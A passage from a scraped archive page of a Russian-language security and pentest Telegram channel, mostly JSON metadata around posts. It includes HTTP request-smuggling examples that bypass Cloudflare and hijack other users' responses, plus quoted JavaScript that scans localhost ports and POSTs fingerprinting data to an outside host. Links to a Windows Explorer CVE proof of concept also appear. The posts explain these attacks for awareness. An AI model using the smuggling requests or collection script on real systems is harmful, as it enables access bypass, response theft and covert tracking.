en
Feedback
Fsecurity | HH

Fsecurity | HH

Open in Telegram

πŸ‘Ύ Канал ΠΏΡ€ΠΎ ΠšΠ‘ ΠΈ пСнтСст Наш Discord: https://discord.gg/Eg8aDS7Hn7 βœ‰οΈ По сотрудничСству: @OxHaskar 🍩 ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ: https://www.donationalerts.com/r/xackapb

Show more
Russia201 324Technologies & Applications28 575
2 068
Subscribers
-124 hours
-77 days
+230 days
Posts Archive
HTTP/1.1\nX:\n\nΠ Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚: ВсС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ, ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ запросы, ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ XSS-скрипт Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅.\n\n2️⃣ ΠžΠ±Ρ…ΠΎΠ΄ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ Ρ„Ρ€ΠΎΠ½Ρ‚-прокси (Cloudflare)\n\nДопустим, Cloudflare Π±Π»ΠΎΠΊΠΈΡ€ΡƒΠ΅Ρ‚ доступ ΠΊ /admin. Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ GET-запрос ΠΊ /admin Π²Π½ΡƒΡ‚Ρ€ΠΈ HEAD-запроса ΠΈ ΠΎΠ±ΠΎΠΉΡ‚ΠΈ Π·Π°Ρ‰ΠΈΡ‚Ρƒ.\n\nΠŸΡ€ΠΈΠΌΠ΅Ρ€:\n\nHEAD / HTTP/1.1\nHost: victim.com\nContent-Length: 40\n\nGET /admin HTTP/1.1\nHost: victim.com\n\nΠ Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚: Cloudflare Π½Π΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚ GET-запрос, ΠΈ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ смоТСт ΠΎΠ±ΠΎΠΉΡ‚ΠΈ Π·Π°Ρ‰ΠΈΡ‚Ρƒ.\n\n3️⃣ ΠšΡ€Π°ΠΆΠ° ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ\n\nΠ­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ позволяСт Ρ€Π°ΡΡΠΈΠ½Ρ…Ρ€ΠΎΠ½ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² Π½Π° сСрвСрС ΠΈ Π·Π°Ρ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.\n\nΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π°Ρ‚Π°ΠΊΠΈ\n 1. ΠΡ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ отправляСт HEAD-запрос с Π²Π½Π΅Π΄Ρ€Ρ‘Π½Π½Ρ‹ΠΌ GET-запросом.\n 2. Π‘Π΅Ρ€Π²Π΅Ρ€ ΠΎΡˆΠΈΠ±ΠΎΡ‡Π½ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Ρ‚Π΅Π»ΠΎ ΠΊΠ°ΠΊ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ запрос.\n 3. ΠžΡ‚Π²Π΅Ρ‚ ΠΏΠΎΠΏΠ°Π΄Π°Π΅Ρ‚ Π½Π΅ Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰Π΅ΠΌΡƒ, Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ, Π° Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Π±Ρ€Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ ΠΆΠ΅Ρ€Ρ‚Π²Ρ‹.\n\nΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΡΡ‚ΠΈ\n\nΠ‘ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС Ρ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ Π² Π±Π»ΠΎΠ³Π΅ ΠΏΠΎ ссылкС.\n\n#web #hrs #xss","datePublished":"2025-03-21T12:12:40Z","dateModified":"2025-03-21T12:12:40Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":115},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2025-03-19T10:31:04Z"}}},{"@type":"ListItem","position":9,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4797","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4797","mainEntityOfPage":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4797","headline":"Fsecurity | HH","datePublished":"2025-03-21T10:22:50Z","dateModified":"2025-03-21T10:22:50Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":113}]}},{"@type":"ListItem","position":10,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4796","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4796","mainEntityOfPage":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4796","headline":"Когда занимаСшься Π±Π°Π³ Π±Π°ΡƒΠ½Ρ‚ΠΈ","articleBody":"Когда занимаСшься Π±Π°Π³ Π±Π°ΡƒΠ½Ρ‚ΠΈ","datePublished":"2025-03-21T10:22:09Z","dateModified":"2025-03-21T10:22:09Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":110},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2025-03-21T10:01:11Z"}}},{"@type":"ListItem","position":11,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4795","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4795","mainEntityOfPage":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4795","headline":"πŸ”—Π‘ΡΡ‹Π»ΠΊΠ°: https://www.securitylab.ru/news/557444.php","articleBody":"πŸ”—Π‘ΡΡ‹Π»ΠΊΠ°:\nhttps://www.securitylab.ru/news/557444.php","datePublished":"2025-03-21T10:07:02Z","dateModified":"2025-03-21T10:07:02Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":110},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":12,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4794","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4794","mainEntityOfPage":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4794","headline":"Discord сСрвСр πŸ‘†πŸ»Π’ΡƒΡ‚ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΎΠ±Ρ‰Π°Ρ‚ΡŒΡΡ ΠΈ Π½Π°ΠΉΡ‚ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ 🦈","articleBody":"Discord сСрвСр \nπŸ‘†πŸ»Π’ΡƒΡ‚ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΎΠ±Ρ‰Π°Ρ‚ΡŒΡΡ ΠΈ Π½Π°ΠΉΡ‚ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ 🦈","datePublished":"2025-03-21T08:11:28Z","dateModified":"2025-03-21T08:11:28Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":114}]}},{"@type":"ListItem","position":13,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4793","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4793","mainEntityOfPage":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4793","headline":"Π”Ρ€ΡƒΠ·ΡŒΡ, всСм прСкрасный вСсСнний Π²Π΅Ρ‡Π΅Ρ€! Π’ ΠΌΠΎΠ΅ΠΉ Π³ΠΎΠ»ΠΎΠ²Π΅ Π΄Π°Π²Π½ΠΎ Π±Ρ‹Π»Π° идСя создания нСбольшого списка Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² ис…","articleBody":"Π”Ρ€ΡƒΠ·ΡŒΡ, всСм прСкрасный вСсСнний Π²Π΅Ρ‡Π΅Ρ€! \n\nΠ’ ΠΌΠΎΠ΅ΠΉ Π³ΠΎΠ»ΠΎΠ²Π΅ Π΄Π°Π²Π½ΠΎ Π±Ρ‹Π»Π° идСя создания нСбольшого списка Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² использования сСртификатов Π² срСдах AD, ΠΏΠΎΠΌΠΈΠΌΠΎ стандартного запроса Π±ΠΈΠ»Π΅Ρ‚Π° ΠΈ UnPAC The Hash. Π’Π°ΠΊ Ρ€ΠΎΠ΄ΠΈΠ»Π°ΡΡŒ нСбольшая ΡΡ‚Π°Ρ‚ΡŒΡ Π½Π° Medium, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ ΠΏΡ€ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ способы изучСния ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ сСртификата ΠΈ нСстандартныС Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ Π΅Π³ΠΎ использования, ΠΊΠ°ΠΊ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ для Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΏΠΎ SSH ΠΈΠ»ΠΈ Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΠΈ HTTPS-Ρ‚Ρ€Π°Ρ„Ρ„ΠΈΠΊΠ°\n\nΠŸΡ€ΠΈΡΡ‚Π½ΠΎΠ³ΠΎ чтСния πŸ™‚ \n\nhttps://cicada-8.medium.com/adcs-so-u-got-certificate-now-ive-got-nine-ways-to-abuse-it-861081cff082","datePublished":"2025-03-21T08:05:38Z","dateModified":"2025-03-21T08:05:38Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":135},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2025-03-18T18:18:06Z"}}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4792","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4792","mainEntityOfPage":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4792","headline":"πŸ”—Π‘ΡΡ‹Π»ΠΊΠ°: https://habr.com/ru/post/889988/","articleBody":"πŸ”—Π‘ΡΡ‹Π»ΠΊΠ°:\nhttps://habr.com/ru/post/889988/","datePublished":"2025-03-20T20:17:01Z","dateModified":"2025-03-20T20:17:01Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":141},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4791","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4791","mainEntityOfPage":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4791","headline":"πŸ”—Π‘ΡΡ‹Π»ΠΊΠ°: https://www.yeswehack.com/learn-bug-bounty/recon-series-http-fingerprinting","articleBody":"πŸ”—Π‘ΡΡ‹Π»ΠΊΠ°:\nhttps://www.yeswehack.com/learn-bug-bounty/recon-series-http-fingerprinting","datePublished":"2025-03-20T18:09:32Z","dateModified":"2025-03-20T18:09:32Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":134}]}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4790","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4790","mainEntityOfPage":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4790","headline":"Discord сСрвСр πŸ‘†πŸ»Π’ΡƒΡ‚ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΎΠ±Ρ‰Π°Ρ‚ΡŒΡΡ ΠΈ Π½Π°ΠΉΡ‚ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ 🦈","articleBody":"Discord сСрвСр \nπŸ‘†πŸ»Π’ΡƒΡ‚ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΎΠ±Ρ‰Π°Ρ‚ΡŒΡΡ ΠΈ Π½Π°ΠΉΡ‚ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ 🦈","datePublished":"2025-03-20T16:52:29Z","dateModified":"2025-03-20T16:52:29Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":135}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4788","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4788","mainEntityOfPage":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4788","headline":"ΠšΡ‚ΠΎ-Ρ‚ΠΎ (HH) начитался ΠΏΡ€ΠΎ сбор Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΡ‚ Π³ΡƒΠ³Π»Π° ΠΈ фСйсбуков ΠΈ Ρ€Π΅ΡˆΠΈΠ» ΠΏΠΎΠΉΡ‚ΠΈ дальшС сканируя людСй ΠΈ ΠΈΡ… окруТСниС…","articleBody":"ΠšΡ‚ΠΎ-Ρ‚ΠΎ (HH) начитался ΠΏΡ€ΠΎ сбор Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΡ‚ Π³ΡƒΠ³Π»Π° ΠΈ фСйсбуков ΠΈ Ρ€Π΅ΡˆΠΈΠ» ΠΏΠΎΠΉΡ‚ΠΈ дальшС сканируя людСй ΠΈ ΠΈΡ… ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ ΠΈ Π°ΠΊΡ‚ΠΈΠ²Ρ‹. \n\nhttps://qna.habr.com/q/465498\n\nhttps://x.com/nightlind/status/911806158230495232\n\nΠ’ΠΎΡ‚ скрипт: \nhttps://jsfiddle.net/Lknb3xez/\n\nБнимаСтся WebGL fingerprint.\nΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‚ΡΡ доступныС ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹, ΠΏΠ»Π°Π³ΠΈΠ½Ρ‹ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.\n\nБнимаСтся:\n1 Часовой пояс\n2 Локализация (язык)\n3 Π₯арактСристики Π²ΠΈΠ΄Π΅ΠΎΠΊΠ°Ρ€Ρ‚Ρ‹ ΠΈ CPU\n4 ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ экрана, Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ WebRTC\n\n5 ΠŸΡ€ΠΎΠ±ΡƒΠ΅Ρ‚ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒΡΡ ΠΊ localhost Π½Π° Ρ€Π°Π·Π½Ρ‹Ρ… ΠΏΠΎΡ€Ρ‚Π°Ρ…:\n\n127.0.0.1:22 (SSH)\n127.0.0.1:5900 (VNC)\n127.0.0.1:3389 (RDP)\n127.0.0.1:80, 5000, 8080\n\n ΠΈ Π΄Ρ€.\n\n\nlet portsToScan = [22, 5900, 3389, 5000, 8080];\nportsToScan.forEach(port => {\n let img = new Image();\n img.onload = () => {\n reportOpenPort(port);\n };\n img.onerror = () => {};\n img.src = http://127.0.0.1:${port};\n});\nΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠ° собранных Π΄Π°Π½Π½Ρ‹Ρ…\nfetch('https://example-hh.ru-backend.com/collect', {\n method: 'POST',\n body: JSON.stringify(collectedData)\n});\n\n\n\nΠ‘ΠΊΡ€ΠΈΠΏΡ‚ Π½Π΅ всСгда Π°ΠΊΡ‚ΠΈΠ²Π΅Π½:\nΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ Ρ‚ΠΈΠΏ устройства, Π»ΠΎΠΊΠ°Ρ†ΠΈΡŽ, ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π΅Π°ΠΊΡ‚ΠΈΠ²Π΅Π½ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΠΈΠ½ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΎ ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ VPN).\nВнСдряСтся ΠΏΠΎ вСроятности ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ сцСнарии.\n\nΠ‘ΠΎΠ²Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ - НС ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΠΉΡ‚Π΅ доступ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ никуда…","datePublished":"2025-03-20T16:03:03Z","dateModified":"2025-03-20T16:03:03Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":142},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2025-03-18T14:59:03Z"}}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4787","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4787","mainEntityOfPage":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4787","headline":"➑️ #CVE-2025-24071 - ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ спуфинга Π² ΠŸΡ€ΠΎΠ²ΠΎΠ΄Π½ΠΈΠΊΠ΅ Windows (File Explorer). πŸ“‚ ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌ по…","articleBody":"➑️ #CVE-2025-24071 - ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ спуфинга Π² ΠŸΡ€ΠΎΠ²ΠΎΠ΄Π½ΠΈΠΊΠ΅ Windows (File Explorer).\n\nπŸ“‚ ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌ ΠΏΠΎΠ΄ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ ΠΏΠ°ΠΏΠΎΠΊ Π² ΠŸΡ€ΠΎΠ²ΠΎΠ΄Π½ΠΈΠΊΠ΅, маскируя врСдоносныС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΏΠΎΠ΄ бСзопасныС. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ запуску вирусов, ΠΊΡ€Π°ΠΆΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ»ΠΈ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ Ρ„ΠΈΡˆΠΈΠ½Π³ΠΎΠ²Ρ‹ΠΌ Π°Ρ‚Π°ΠΊΠ°ΠΌ.\n\nπŸ›‘οΈ Microsoft ΡƒΠΆΠ΅ выпустила исправлСниС Π² мартовском Patch Tuesday 2025 Π³ΠΎΠ΄Π°, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ обновляйтС Windows’ы!\n\nπŸ’¬ По слухам, эта ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ΄Π°Π²Π°Π»Π°ΡΡŒ Π² Π΄Π°Ρ€ΠΊΠ½Π΅Ρ‚Π΅ Π΄ΠΎ Π²Ρ‹Ρ…ΠΎΠ΄Π° ΠΏΠ°Ρ‚Ρ‡Π°.\n\nπŸ“– Π‘Π»ΠΎΠ³-пост с подробностями:\nπŸ‘‰ https://cti.monster/blog/2025/03/18/CVE-2025-24071.html\n\nπŸ’£ PoC:\nπŸ‘‰ https://github.com/0x6rss/CVE-2025-24071_PoC","datePublished":"2025-03-20T14:13:02Z","dateModified":"2025-03-20T14:13:02Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":134},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2025-03-18T15:15:49Z"}}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4786","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4786","mainEntityOfPage":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4786","headline":"πŸ”—Π‘ΡΡ‹Π»ΠΊΠ°: https://www.securitylab.ru/news/557412.php","articleBody":"πŸ”—Π‘ΡΡ‹Π»ΠΊΠ°:\nhttps://www.securitylab.ru/news/557412.php","datePublished":"2025-03-20T12:17:01Z","dateModified":"2025-03-20T12:17:01Z","author":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"publisher":{"@type":"Organization","name":"Fsecurity | HH","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam","image":"https://img.tlmtr.io/c/1D2sPx/5269607332834906944?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":135},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4785","url":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4785","mainEntityOfPage":"https://telemetr.io/en/channels/1492997419-hellohackingteam/posts/4785","headline":"CVE-2025-09